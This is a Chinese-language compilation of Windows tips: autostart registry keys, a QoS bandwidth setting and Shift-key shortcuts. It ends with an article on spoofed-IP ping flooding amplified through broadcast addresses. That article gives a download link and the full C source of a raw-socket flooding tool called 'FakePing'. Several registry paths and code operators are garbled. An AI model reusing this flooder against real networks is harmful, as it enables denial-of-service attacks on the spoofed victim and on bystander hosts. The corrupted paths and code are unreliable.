Windows启动时通常会有一大堆程序自动启动。不要以为管好了“开始→程序→启动”菜单就万事大吉,实际上,在Windows XP/2K中,让Windows自动启动程序的办法很多,下文告诉你最重要的两个文件夹和八个注册键。
一、当前用户专有的启动文件夹
这是许多应用软件自动启动的常用位置,Windows自动启动放入该文件夹的所有快捷方式。用户启动文件夹一般在:Documents and Settings<用户名字>「开始」菜单程序启动,其中“<用户名字>”是当前登录的用户帐户名称。
二、对所有用户有效的启动文件夹
这是寻找自动启动程序的第二个重要位置,不管用户用什么身份登录系统,放入该文件夹的快捷方式总是自动启动——这是它与用户专有的启动文件夹的区别所在。该文件夹一般在:Documents and SettingsAll Users「开始」菜单程序启动。
三、Load注册键
介绍该注册键的资料不多,实际上它也能够自动启动程序。位置:HKEY_CURRENT_USERSoftwareMicrosoftWindowsNTCurrentVersionWindowsload。
四、Userinit注册键
位置:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWinlogonUserinit。这里也能够使系统启动时自动初始化程序。通常该注册键下面有一个userinit.exe,如图,但这个键允许指定用逗号分隔的多个程序,例如“userinit.exe,OSA.exe”(不含引号)。
五、ExplorerRun注册键
和load、Userinit不同,ExplorerRun键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有,具体位置是:HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicie你好plorerRun,和HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPolicie你好plorerRun。
六、RunServicesOnce注册键
RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序。RunServicesOnce注册键的位置是:HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce,和HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServicesOnce。
七、RunServices注册键
RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前。RunServices的位置是:HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices,和HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices。
八、RunOnceSetup注册键
RunOnceSetup指定了用户登录之后运行的程序,它的位置是:HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnceSetup,和HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceSetup。
九、RunOnce注册键
安装程序通常用RunOnce键自动运行程序,它的位置在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce和HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce。HKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序,运行时机在其他Run键指定的程序之前。HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。如果是XP,你还需要检查一下HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx。
十、Run注册键
Run是自动运行程序最常用的注册键,位置在:HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun,和HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun。HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前
Windows XP操作系统加快网络连接速度大法
“Quality of Service(QoS)”是专门为 Windows XP专业版用户提供的网络连接程序,在安装Windows XP时,系统默认设置为调用该程序。而对于个人用户或者校园网用户而言,这个程序的实用意义不大,还会占用网络带宽,所以最好禁止系统调用该程序。为了彻底禁用QoS程序,释放该程序占用的网络带宽,我们需要进行以下设置: 单击“开始”菜单,选择“运行”,在对话框中输入“Gpedit.msc”并单击[确定]键,打开组策略。在左边的树状目录下找到“计算机配置→管理模板→网络→QoS数据包调度程序”目录项并单击,在窗口右侧找到并双击“限制可保留带宽”标签项,在“限制可保留带宽属性”对话框中选中“已启用”,并在“带宽限制”框内调整数字为“0”,最后点击[确定]按钮并退出组策略编辑器。此项设置的修改无需系统重新启动。此时用户在网络连接属性对话框内的一般属性标签栏中能够看到“QoS 数据包调度程序”,如果没有该条目,说明修改没有成功,QoS仍然占用着20%的带宽。
提示:如果已在注册表中对网络适配器进行了带宽限制,上述设置将被忽略。
实用技巧:Shift键在Windows系统中的妙用
在Windows中,Shift键有很多作用,尤其是当它和其他功能键组合时。比如大家会经常使用Ctrl Shift来切换输入法;用Shift Space在中文输入状态的半角与全角之间快速切换;在开机进入Windows时按住Shift键禁止系统的自启动项目运行;在光驱中放入光盘时按住Shift键可以防止光盘自动播放……实际上,Shift键还有很多妙用,我们一起来瞧一瞧: 1.关闭多级文件夹窗口
在资源管理器中按住Ctrl键并单击文件夹,可以把这个文件夹及其子文件夹均在单独的窗口中打开,那么我们关闭这些文件夹是不是要一个一个地关闭呢?当然不用,我们可以按住Shift键并点击“关闭”按钮,这样这个文件夹窗口及其上级的所有文件夹窗口都将被关闭。
2.轻松进ZIP
一般情况下,我们在资源管理器中将文件(可多选)用鼠标拖至ZIP文件上时,鼠标会显示出“ ”号状态。此时,如果松开鼠标,则会弹出“加入文件”对话框,选择“Move Files”命令完成加入文件。如果我们同时按住“Shift”键,则文件会直接加入,不弹出对话框。
3.另类的Shift键使用方法
大家都知道Delete键是删除光标之后的字符,但同时按住Shift Delete可以删除光标之前的字符。如果对选中的文字按Shift Delete等同于剪切,Shift Insert等同于粘贴(注:该方法只适用于记事本等几个软件)。
4.选择连续文件
先选择第一个文件,按住Shift键再选择另一个文件,这时两个文件对角线之间的所有文件均会被选中。
5.直接删除文件
按住Shift键同时,按Delete键即可以不通过回收站直接将文件删除。
6.更改文件的关联程序
对于一个无关联的文件,我们可以先按住Shift键,再用鼠标右击那个文件,然后在弹出的菜单中选择“打开方式”,来重新选择它的关联程序。
伪装IP地址的洪水Ping攻击
Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具,很久以前,一部分操作系统(例如win95),不能很好处理过大的Ping包,导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽的升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度(所谓正反馈)
正常情况下,Ping的流程是这样的:
主机A发送ICMP 8,0报文给主机B
主机B回送ICMp 0,0报文给主机A
因为ICMP基于无连结,所以就给了我们可乘之机,假设现在主机A伪装成主机C发送ICMP 8,0报文,结果会怎么样呢?显然,主机B会以为是主机C发送的报文而去
回应主机C,结构如下:
伪装为主机C 错误的回复
主机A--------------------->主机B------------------>主机C
这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以攻击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而且不会留下自己的痕迹,是一种隐蔽的一石二鸟的攻击方法。
上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的操作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思是说有一个地址,任何局域网内的主机都会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,会看到很多回应的的dup包,就是重复的应答,windows系统上不会有这样的结果,因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,同样微软的系统默认也不回应广播地址的包,所以你最好在一个大量unix主机的局域网内测试。
说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求,这样,相当于是N倍的攻击力度!(N=广播地址内回应Ping包的主机数量)
伪装为主机C 所有广播主机都会错误的回复
主机A--------------------->广播地址=========================>主机C
我写了一个FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe下载。
使用方法是FakePing.exe FakeIP TargetIP [PacketSize],如果TargetIP是广播地址,那么FakeIP是被攻击目标。
源码公布如下:
#include
#include
#include
#include
#define SEQ 0x28376839
#define STATUS_FAILED 0xFFFF //错误返回值
typedef struct _iphdr //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
// 定义ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号(一般用进程号作为识别号)
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}ICMP_HEADER;
//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum =*buffer ;
size -=sizeof(USHORT);
}
if(size )
{
cksum = *(UCHAR*)buffer;
}
cksum = (cksum >> 16) (cksum & 0xffff);
cksum = (cksum >>16);
return (USHORT)(~cksum);
}
//FakePing主函数
int main(int argc, char **argv)
{
int datasize,ErrorCode,counter,flag;
int TimeOut=2000, SendSEQ=0, PacketSize=32;
char SendBuf[65535]={0};
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
ICMP_HEADER icmp_header;
char FakeSourceIp[20],DestIp[20];
//接受命令行参数
if (argc<3)
{
printf("FakePing by Shotgun\n");
printf("\tThis program can do Ping-Flooding from a FakeIP\n");
printf("\tUsing a BroadCast IP as the FakeIP will enhance the effect\n");
printf("Email:\n");
printf("
[email protected] \n");
printf("HomePage:\n");
printf("\thttp://It.Xici.Net\n");
printf("\thttp://www.Patching.Net\n");
printf("USAGE:\n\tFakePing.exe FakeSourceIp DestinationIp [PacketSize]\n");
printf("Example:\n");
printf("\tFakePing.exe 192.168.15.23 192.168.15.255\n");
printf("\tFakePing.exe 192.168.15.23 192.168.15.200 6400\n");
exit(0);
}
strcpy(FakeSourceIp,argv[1]);
strcpy(DestIp,argv[2]);
if (argc>3) PacketSize=atoi(argv[3]);
if (PacketSize>60000)
{
printf("Error! Packet size too big, must <60K\n");
exit(0);
}
printf("Now Fake %s Ping %s using Packet size=%d bytes\n",
FakeSourceIp, DestIp, PacketSize);
printf("\tCtrl C to Quit\n");
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
{
fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
ExitProcess(STATUS_FAILED);
}
if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
{
fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
flag=TRUE;
//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)
printf("Set IP_HDRINCL Error!\n");
__try
{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if (ErrorCode==SOCKET_ERROR)
{
fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
__leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(DestIp);
//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度
ip_header.total_len=htons(sizeof(IP_HEADER) sizeof(ICMP_HEADER)); //16位总长度(字节)
ip_header.ident=1;
//16位标识
ip_header.frag_and_flags=0;
//3位标志位
ip_header.ttl=128;
//8位生存时间 TTL
ip_header.proto=IPPROTO_ICMP;
//8位协议 (TCP, UDP 或其他)
ip_header.checksum=0;
//16位IP首部校验和
ip_header.sourceIP=inet_addr(FakeSourceIp); //32
位源IP地址
ip_header.destIP=inet_addr(DestIp);
//32位目的IP地址
//填充ICMP首部
icmp_header.i_type = 8;
icmp_header.i_code = 0;
icmp_header.i_cksum = 0;
icmp_header.i_id = 2;
icmp_header.timestamp = 999;
icmp_header.i_seq=999;
memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
memset(SendBuf sizeof(icmp_header), 'E', PacketSize);
icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header) PacketSize);
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf sizeof(ip_header), &icmp_header, sizeof(icmp_header));
memset(SendBuf sizeof(ip_header) sizeof(icmp_header), 'E', PacketSize);
memset(SendBuf sizeof(ip_header) sizeof(icmp_header) PacketSize, 0, 1);
//计算发送缓冲区的大小
datasize=sizeof(ip_header) sizeof(icmp_header) PacketSize;
ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
//填充发送缓冲区
memcpy(SendBuf,&ip_header, sizeof(ip_header));
while(1)
{
Sleep(100);
printf(".");
for(counter=0;counter<1024;counter )
{
//发送ICMP报文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
}
}
}//End of try
__finally
{
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
return 0;
}
撰写本文的目的不是号召大家用FakePing工具去攻击美国站点,只是想略微展示一下用技术能做到什么蛮力做不到的东西。如果说大家一起Ping是义和团喊着“刀枪不入”去对抗大炮,FakePing也只能算得上是火枪而已,而美国已经研制出了航空母舰(一个操作系统的复杂度完全可以和航母媲美),难道用大刀、长枪、火枪去对抗航母?这样是很感人,也很悲壮,但是没有别的方法了?我们不能回去研制自己的战列舰?